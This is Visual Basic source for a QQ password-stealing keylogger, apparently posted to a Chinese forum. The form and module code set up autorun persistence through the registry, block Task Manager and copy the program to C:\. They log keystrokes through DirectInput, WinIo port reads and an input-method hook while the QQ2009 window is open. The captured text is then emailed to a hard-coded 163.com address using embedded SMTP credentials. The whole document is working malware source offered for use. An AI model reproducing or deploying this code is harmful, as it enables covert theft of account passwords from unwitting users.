窗体部份
Private Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAnyOperationsAborted As Long
hNameMappings As Long
lpszProgressTitle As String '只有在
FOF_SIMPLEPROGRESS 时用
End Type
Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long
'wFunc 常数
'FO_COPY 把 pFrom 文件拷贝到 pTo。
Const FO_COPY = &H2
'FO_DELETE 删除 pFrom 中的文件(pTo 忽略)。
Const FO_DELETE = &H3
'FO_MOVE 把 pFrom 文件移动到 pTo。
Const FO_MOVE = 1
'fFlag 常数
'FOF_ALLOWUNDO 允许 Undo 。
Const FOF_ALLOWUNDO = 64
'FOF_NOCONFIRMATION 不显示系统确认对话框。
Const FOF_NOCONFIRMATION = &H10
'FOF_NOCONFIRMMKDIR
不提示是否新建目录?
Const FOF_NOCONFIRMMKDIR = &H200
'FOF_SILENT 不显示进度对话框
Const FOF_SILENT = &H4
Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Dim Oicq As String
Dim hwd As Long '储存 FindWindow
函数返回的句柄
Dim pid As Long
Dim lujings As Long
Dim hProcess As Long
'存放进程句柄
Dim sj As String
Private Sub Form_Load()
Const OverWriteFiles = True
'******************************************************************************
Shell "regsvr32 jmail.dll /s", vbNormalFocus
'注释:注册控件,无弹出对话框
SendError = False
'******************************************************************************
SetAutoRun True 'CALL开机自动运行
Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1
'屏蔽任务管理器
'******************************************************************************
Timer4.Enabled = False
Timer6.Enabled = False
'******************************************************************************
'获取当前地址
CopyFile App.Path & "", "", 1
Label5.Caption = App.Path
Dim a As String
'注意是变体格式,不是数组,而不是整数
sj = Label5.Caption
'---------------------'判断本程序在C盘是否已经存在
If Exists("c:\Microsoft_Since") Then
Else
'---------------------开始操作文件
Dim SHFileOp As SHFILEOPSTRUCT
SHFileOp.wFunc = FO_COPY
SHFileOp.pFrom = sj
SHFileOp.pTo = "C:\"
SHFileOp.fFlags = FOF_ALLOWUNDO + FOF_NOCONFIRMMKDIR
Call SHFileOperation(SHFileOp)
'---------------------停止操作文件
End If
'截取部分 ---------------------------------------------------------------------
If InitializeWinIo = False Then '加载WINIO驱动
List1.AddItem "加载失败"
Else
List1.AddItem "加载成功"
End If
' -------------------
WM_HXWDLLWX_QQBTX = RegisterWindowMessage("WM_HXWDLLWX_QQBTX") '注册自定义消息
WM_HXWDLLWX_HOOKKEY = RegisterWindowMessage("WM_HXWDLLWX_HOOKKEY")
' -----------------
Set DX = New DirectX7 '建立DirectX对象
Set DI = DX.DirectInputCreate()
'建立DirectInput对象
Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard")
'建立DirectInput的键盘对象
DI_Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD
'设置数据格式
DI_Keyboard.SetCooperativeLevel 0, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE
'设置协作模式(就是DX设备要与某个窗口关联)。DISCL_BACKGROUND这个是最重要的,它让程序即使在后台运行也能监视键盘输入,不然怎么做HOOK呢^_^
DI_Keyboard.Acquire
'开始
' ------------------------
PrevWndProc = SetWindowLong(Me.hwnd, GWL_WNDPROC, AddressOf SubWndProc) '子类化窗口,以便能处理DLL发出的自定义消息
DLLstartHOOK
Me.hwnd '初始化DLL
DLLsetHOOKState True '打开输入法HOOK
' -----------------------
'Dim tempX As Long
'tempX =
MyINP (&H60)
'tempX = MyInp(&H64)
'KBCWait4IOF
'MyOUT &H64,
32
'KBCWait4IBF
'KeyboardIOCommand = MyInp(&H60)
'读取键盘控制器原始命令字节
' ----------------------
Timer1.Interval = 45
'设置轮询间隔
Timer2.Interval = 36
Timer1.Enabled = True
Timer2.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
OpenKeyboardINT
'开中断
DLLsetHOOKState False '关闭输入法HOOK
DLLstopHOOK
'卸载输入法HOOK
Call SetWindowLong(Me.hwnd, GWL_WNDPROC, PrevWndProc)
'还原子类化窗口
' ----------------
DI_Keyboard.Unacquire '释放DirectInput对象
Set DI_Keyboard = Nothing
Set DI = Nothing
Set DX = Nothing
ShutdownWinIo '卸载WINIO
Close #1 '恢复任务管理器
End Sub
Private Sub Text1_Change()
Text1.SelStart = Len(Text1.Text)
End Sub
Private Sub Text2_Change()
Text2.SelStart = Len(Text2.Text)
End Sub
Private Sub Text3_Change()
Text3.SelStart = Len(Text3.Text)
End Sub
Private Sub Timer1_Timer()
' DX键盘记录
'On Error Resume Next
Static keyArray(255) As Byte
Dim key_count As Integer, vKeyCode As Integer, vKeyASC As String
DI_Keyboard.GetDeviceStateKeyboard key_state
'轮询键盘,并把键盘输入保存到key_state结构中
For key_count = 0 To 255
If keyArray(key_count) <> key_state.Key(key_count) Then
'判断是否有键被按下或弹起,key_count代表的是被按下的键的扫描码
vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))
'虚拟码转换为ASCII字符
If vKeyASC <> Chr(0) Then
If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
vKeyASC = UCase(vKeyASC)
'根据大小写锁定键判断大小写
Else
vKeyASC = LCase(vKeyASC)
End If
If vKeyASC = " " Then vKeyASC = "【空格】"
Else
vKeyASC = "【" & CStr(vKeyCode) & "】"
'如果是不能显示的键,则直接显示虚拟码
End If
If key_state.Key(key_count) = 0 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " "
'存储按键,以空格为分隔符
DataKeyCacheDXMore = DataKeyCacheDXMore & Now() & "|"
'存储按键时间信息,以|为分隔符
Text1.Text = DataKeyCacheDX
End If
keyArray(key_count) = key_state.Key(key_count)
Next
End Sub
Private Sub Timer2_Timer()
'驱动级键盘记录
'
GetKeyStatType1 '第一种办法,简单轮询
GetKeyStatType2
'第2种办法,关闭键盘中断然后轮询
End Sub
Private Sub GetKeyStatType1()
Static lastKey As Integer
Dim mydata As Integer, myKBC As Integer
Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer
myKBC = MyINP(&H64) '读取键盘控制端口
If myKBC = 20 Or myKBC = 28 Then '如果键盘控制器是我们想要的状态
'If ((myKBC And 246) Or 20) = 20 Then '如果键盘控制器是我们想要的状态
mydata = MyINP(&H60)
'读取键盘数据端口
If mydata <> lastKey And mydata <> 0 Then
key_count = mydata And 127 '总是将断码变为通码
vKeyCode = MapVirtualKey(key_count, 1)
'扫描码转虚拟码
If vKeyCode <> 0 Then
vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))
'虚拟码转换为ASCII字符
If vKeyASC <> Chr(0) Then
If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
vKeyASC = UCase(vKeyASC)
'根据大小写锁定键判断大小写
Else
vKeyASC = LCase(vKeyASC)
End If
If vKeyASC = " " Then vKeyASC = "【空格】"
Else
vKeyASC = "【" & CStr(vKeyCode) & "】"
'如果是不能显示的键,则直接显示虚拟码
End If
If mydata And 128 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down"
'记录是按下(down)还是弹起(up)
DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & " "
'存储按键,以空格为分隔符
DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|"
'存储按键时间信息,以|为分隔符
Text2.Text = DataKeyCacheWINIO
lastKey = mydata
End If
End If
End If
End Sub
Private Sub GetKeyStatType2()
Static lastKey As Integer
Dim mydata As Integer, myKBC As Integer
Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer
myKBC = MyINP(&H64) '读取键盘控制端口
'If myKBC = 22 Or myKBC = 30 Then
If myKBC And &H1 Then
mydata = MyINP(&H60)
'从缓冲区取走数据。这时取走的肯定是键盘数据,不会包含鼠标数据,因为鼠标数据会被鼠标中断第一时间取走。
myKBC = MyINP(&H64) '读取键盘控制端口
If myKBC = 20 Or myKBC = 28 Then
If mydata <> lastKey And mydata <> 0 Then
key_count = mydata And 127
'总是将断码变为通码
vKeyCode = MapVirtualKey(key_count, 1)
'扫描码转虚拟码
If vKeyCode <> 0 Then
vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))
'虚拟码转换为ASCII字符
If vKeyASC <> Chr(0) Then
If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
vKeyASC = UCase(vKeyASC)
'根据大小写锁定键判断大小写
Else
vKeyASC = LCase(vKeyASC)
End If
If vKeyASC = " " Then vKeyASC = "【空格】"
Else
vKeyASC = "【" & CStr(vKeyCode) & "】"
'如果是不能显示的键,则直接显示虚拟码
End If
If mydata And 128 Then vKeyASC = vKeyASC
Else
DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & """"
'存储按键,以空格为分隔符
DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|"
'存储按键时间信息,以|为分隔符
Text2.Text = DataKeyCacheWINIO
End If
End If
End If
lastKey = mydata
OpenKeyboardINT '开中断
KBCWait4IBF
MyOUT &H64, &HD2
'将收到的数据复制到键盘输入缓冲区
KBCWait4IBF
MyOUT &H60, mydata
'将收到的数据复制到键盘输入缓冲区,这里你完全可以修改这个数据,从而欺骗系统,比如将A键改成B键
'OpenKeyboardINT '开中断
Sleep 1
'等待键盘中断处理
KBCWait4IBF
CloseKeyboardINT '关键盘中断
End If
End Sub
Private Sub CloseKeyboardINT()
'关闭键盘中断
Dim tmpX As Long
tmpX = MyINP(&H60) '清空键盘的输入缓冲区
tmpX = MyINP(&H64)
KBCWait4IOF
MyOUT &H64, &H60
KBCWait4IOF
'MyOUT &H60,KeyboardIOCommand And &HFE
MyOUT &H60, 70
'设置状态位,关闭键盘中断
End Sub
Private Sub OpenKeyboardINT()
'打开键盘中断
Dim tmpX As Long
tmpX = MyINP(&H60) '清空键盘的输入缓冲区
tmpX = MyINP(&H64)
KBCWait4IBF
MyOUT &H64, &H60
'&H60表示写键盘控制器命令字节
KBCWait4IBF
'MyOUT &H60, KeyboardIOCommand Or
1 '打开键盘中断
MyOUT &H60, 71 '打开键盘中断
End Sub
Private Sub Timer3_Timer() '检测部分
hwd = FindWindow(vbNullString, "QQ2009正式版 SP1")
If hwd <> 0 Then
List1.AddItem "QQ主程序已运行success" '运行记录部分代码
CloseKeyboardINT
Timer4.Enabled = True
Timer3.Enabled = False
Else
List1.AddItem "QQ主程序未运行fales"
End If
GetWindowThreadProcessId hwd, pid
'获取进程标识符
'将进程标识符做为参数,返回目标进程PID的句柄,得到此句柄后
'即可对目标进行读写操,PROCESS_ALL_ACCESS表示完全控制,权限最大
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
If hProcess <> 0 Then
List1.AddItem "QQ主程序PID值为真"
End If
CloseHandle
hProcess
End Sub
Private Sub Timer4_Timer() '检测部分
hwd = FindWindow(vbNullString, "QQ2009正式版 SP1")
If hwd <> 0 Then
List1.AddItem "账号密码截取已开始"
Else
'终止记录部分代码
OpenKeyboardINT
SendMail "主题", "正文", ""
'如果如果要发附件,最后一个填附件路径
Timer6.Enabled = True
Timer4.Enabled = False
End If
GetWindowThreadProcessId hwd, pid
'获取进程标识符
'将进程标识符做为参数,返回目标进程PID的句柄,得到此句柄后
'即可对目标进行读写操,PROCESS_ALL_ACCESS表示完全控制,权限最大
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
If hProcess <> 0 Then
List1.AddItem "QQ主程序PID值为真"
'运行记录部分代码
Else
'终止记录部分代码
End If
CloseHandle hProcess
End Sub
'发送邮件部分
Sub SendMail(Optional ByVal sSubject As String, Optional ByVal sBody As String, Optional ByVal sFilename As String)
On Error GoTo ToExit '打开错误陷阱
'------------------------------------------------
Dim Jmail
Set Jmail = CreateObject("jmail.Message")
If sFilename <> "" Then Jmail.AddAttachment sFilename
Jmail.Charset = "gb2312"
Jmail.Silent = False
Jmail.Priority = 3 '邮件状态,1-5
1 为最高
Jmail.MailServerUserName = "anzhaofenggogogo" 'Email帐号
Jmail.MailServerPassWord = "123456" 'Email密码
Jmail.FromName = "number" '发信人姓名
Jmail.From = "<A" href="mailto:anzhaofenggogogo@163.com">anzhaofenggogogo@163.com"'发邮件地址地址
Jmail.Subject =
"QQ密码大划了"
'主题
Jmail.AddRecipient "<A" href="mailto:xuehuilimaomao@163.com">xuehuilimaomao@163.com"'收信人地址,自己改
Jmail.Body = Oicq '信件正文
Jmail.Send ("smtp.163.com")
'SMTP服务器,如smtp.sohu.com
Set Jmail = Nothing
List1.AddItem "success"
'------------------------------------------------
Exit Sub
'----------------
ToExit:
Select Case Jmail.ErrorCode
Case 550
MsgBox "该邮件地址不存在,请更改后再发", , "提示"
Case 535
MsgBox "发件人的用户名或密码错误,请改正后再发", , "提示"
Case Else
MsgBox Jmail.ErrorMessage, , "提示"
End Select
End Sub
Private Sub Timer5_Timer()
Oicq = Text2.Text
End Sub
Private Sub Timer6_Timer()
Timer3.Enabled = True '防止密码处多记录文字
End Sub
模块部分:
Declare Function MapPhysToLin Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysSize As Long, ByRef PhysMemHandle) As Long
Declare Function UnmapPhysicalMemory Lib "WinIo.dll" (ByVal PhysMemHandle, ByVal LinAddr) As Boolean
Declare Function GetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByRef PhysVal As Long) As Boolean
Declare Function SetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysVal As Long) As Boolean
Declare Function GetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByRef PortVal As Long, ByVal bSize As Byte) As Boolean
Declare Function SetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByVal PortVal As Long, ByVal bSize As Byte) As Boolean
Declare Function InitializeWinIo Lib "WinIo.dll" () As Boolean
Declare Function ShutdownWinIo Lib "WinIo.dll" () As Boolean
Declare Function InstallWinIoDriver Lib "WinIo.dll" (ByVal DriverPath As String, ByVal Mode As Integer) As Boolean
Declare Function RemoveWinIoDriver Lib "WinIo.dll" () As Boolean
' ------------------------------------以上是WINIO函数声明 -----------------------------------------------
本帖隐藏的内容需要回复才可以浏览
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
'-------------------------'---------------------------以上是--开机自动运行
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
Public Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'---------------------------------API函数的声明-----------------------
Public Declare Function DLLstartHOOK Lib "hxwdllwx.dll" (ByVal hwnd As Long) As Long '初始化钩子
Public Declare Function DLLstopHOOK Lib "hxwdllwx.dll" () As Long '卸载钩子
Public Declare Function DLLsetHOOKState Lib "hxwdllwx.dll" (ByVal myState As Boolean) As Long '打开或关闭钩子
Public Declare Function DLLGetPubString Lib "hxwdllwx.dll" () As String '获得输入法输入
Public Declare Function DLLSetPubString Lib "hxwdllwx.dll" (ByVal tmpstr As String) As Long '修改输入法输入
Public Declare Function DLLGetPubMsg Lib "hxwdllwx.dll" () As Long '获得拦截到的键盘消息,返回一个lpMSG类型的指针
' ------------------------输入法HOOK DLL导出函数-----------------------------
Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
'------------------------以上是处理读取路径因汉字无法找到路径的处理
'*监控部分 API************************************************************************
'---------------声明函数-----------------------
'得到窗体句柄的函数,FindWindow函数用来返回符合指定的类名( ClassName )和窗口名( WindowTitle )的窗口句柄
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'得到窗体控件句柄的函数
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
'得到进程标识符的函数
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
'得到目标进程句柄的函数
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
'关闭句柄的函数
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
'读取进程内存的函数
Public Declare Function ReadProcessMemory Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
'参数决定了对进程的存储权限,使用完全控制
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)
Private Declare Function NtShutdownSystem& Lib "ntdll" (ByVal ShutdownAction&)
Private Const SE_SHUTDOWN_PRIVILEGE& = 19
Private Const ShutDown& = 0
Private Const RESTART& = 1
Private Const POWEROFF& = 2
'************************************************************************************
Const OFS_MAXPATHNAME = 128 '判断本程序在C盘是否已经存在
Const OF_EXIST = &H4000
Private Type OFSTRUCT
cBytes As Byte
fFixedDisk As Byte
nErrCode As Integer
Reserved1 As Integer
Reserved2 As Integer
szPathName(OFS_MAXPATHNAME) As Byte
End Type
Private typOfStruct As OFSTRUCT
Declare Function apiOpenFile Lib "kernel32" Alias "OpenFile" (ByVal lpFileName As String, lpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long
'************************************************************************************
Public Type POINTAPI
x As Long
y As Long
End Type
Public Type lpMSG
' 声明windows消息类型
hwnd As Long
message As Long
wParam As Long
lParam As Long
time As Long
pt As POINTAPI
End Type
Public Const VK_CAPITAL As Long = &H14
Public Const VK_NUMLOCK As Long = &H90
Public Const VK_SHIFT = &H10
Public Const GWL_WNDPROC = -4
Public Const WM_KEYDOWN = &H100
Public Const WM_CHAR = &H102
Public WM_HXWDLLWX_QQBTX As Long '自定义消息
Public WM_HXWDLLWX_HOOKKEY As Long
Public PrevWndProc As Long '保存旧的窗口处理函数地址
Public DX As DirectX7
Public DI As DirectInput
Public DI_Keyboard As DirectInputDevice
Public key_state As DIKEYBOARDSTATE
Public DataKeyCacheDX As String, DataKeyCacheDXMore As String
Public DataKeyCacheWINIO As String, DataKeyCacheWINIOMore As String
Public DataKeyCacheIME As String
Public DataKeyCacheChar As String
Public KeyboardIOCommand As Long
Public Function SubWndProc(ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim tmpS As String, myMSG As lpMSG, MSGPoint As Long
Dim mydata(1) As Byte, CharStr As String
Static lastChar As Byte
If Msg = WM_HXWDLLWX_QQBTX Then
'如果收到了输入法上屏拦截消息
tmpS = DLLGetPubString() '获得输入法输入
DataKeyCacheIME = DataKeyCacheIME & tmpS & " "
Form1.Text3.Text = DataKeyCacheIME
'tmpS = tmpS & "(被修改)"
'DLLSetPubString tmpS '修改输入法输入
End If
If Msg = WM_HXWDLLWX_HOOKKEY Then
'如果收到的是键盘拦截消息
MSGPoint = DLLGetPubMsg()
CopyMemory myMSG, ByVal MSGPoint, Len(myMSG) '将指针MSGPoint所指的内存区域复制到myMSG结构中
If myMSG.message = WM_CHAR Then
If myMSG.wParam < 128 Then
lastChar = myMSG.wParam
DataKeyCacheChar = DataKeyCacheChar & Chr(lastChar)
Form1.Text4.Text = DataKeyCacheChar
Else
If lastChar >= 128 Then
mydata(1) = lastChar
mydata(0) = myMSG.wParam
CharStr = StrConv(mydata, vbUnicode)
lastChar = 0
DataKeyCacheChar = DataKeyCacheChar & CharStr
Form1.Text4.Text = DataKeyCacheChar
Else
lastChar = myMSG.wParam
End If
End If
End If
'CopyMemory ByVal MSGPoint, myMSG, Len(myMSG) '将myMSG的数据复制回MSGPoint所指的内存区域
End If
SubWndProc = CallWindowProc(PrevWndProc, hwnd, Msg, wParam, lParam) '将消息传给旧的窗口函数继续处理
End Function
Function MyINP(ByVal PortAddr As Integer) As Long
Dim PortVal As Long
GetPortVal PortAddr, PortVal, 1
MyINP = PortVal
End Function
Sub MyOUT(ByVal PortAddr As Integer, ByVal theData As Long)
SetPortVal PortAddr, theData, 1
End Sub
Sub KBCWait4IBF() '等待键盘输入缓冲区为空
Dim dwVal As Long
Do
GetPortVal &H64, dwVal, 1
Loop While (dwVal And &H2)
End Sub
Sub KBCWait4OBF() '等待键盘输出缓冲区为空
Dim dwVal As Long
Do
GetPortVal &H64, dwVal, 1
Loop While (dwVal And &H1)
End Sub
Sub KBCWait4IOF() '等待键盘两个缓冲区都为空
Dim dwVal As Long
Do
GetPortVal &H64, dwVal, 1
Loop While (dwVal And &H3)
End Sub
Sub KBCWait4IBFFull() '等待键盘输入缓冲区不为空
Dim dwVal As Long
Do Until (dwVal And &H2)
GetPortVal &H64, dwVal, 1
Loop
End Sub
Public Function Exists(ByVal sFilename As String) As Boolean '判断本程序在C盘是否已经存在
On Error Resume Next
If Len(sFilename) > 0 Then
apiOpenFile sFilename, typOfStruct, OF_EXIST
Exists = typOfStruct.nErrCode <> 2
End If
End Function
'-----------------------------开机自动运行
Public Sub SetAutoRun(ByVal Autorun As Boolean)
Dim KeyId As Long
Dim MyexePath As String
Dim regkey As String
MyexePath = App.Path & "\" & App.EXEName & ".exe" '获取程序位置
regkey = "Software\Microsoft\Windows\CurrentVersion\Run" '键值位置变量
Call RegCreateKey(HKEY_LOCAL_MACHINE, regkey, KeyId) '建立
If Autorun Then
RegSetValueEx KeyId, "MySoftware", 0&, REG_SZ, ByVal MyexePath, LenB(MyexePath)
Else
RegDeleteValue KeyId, "MySoftware"
End If
RegCloseKey KeyId
End Sub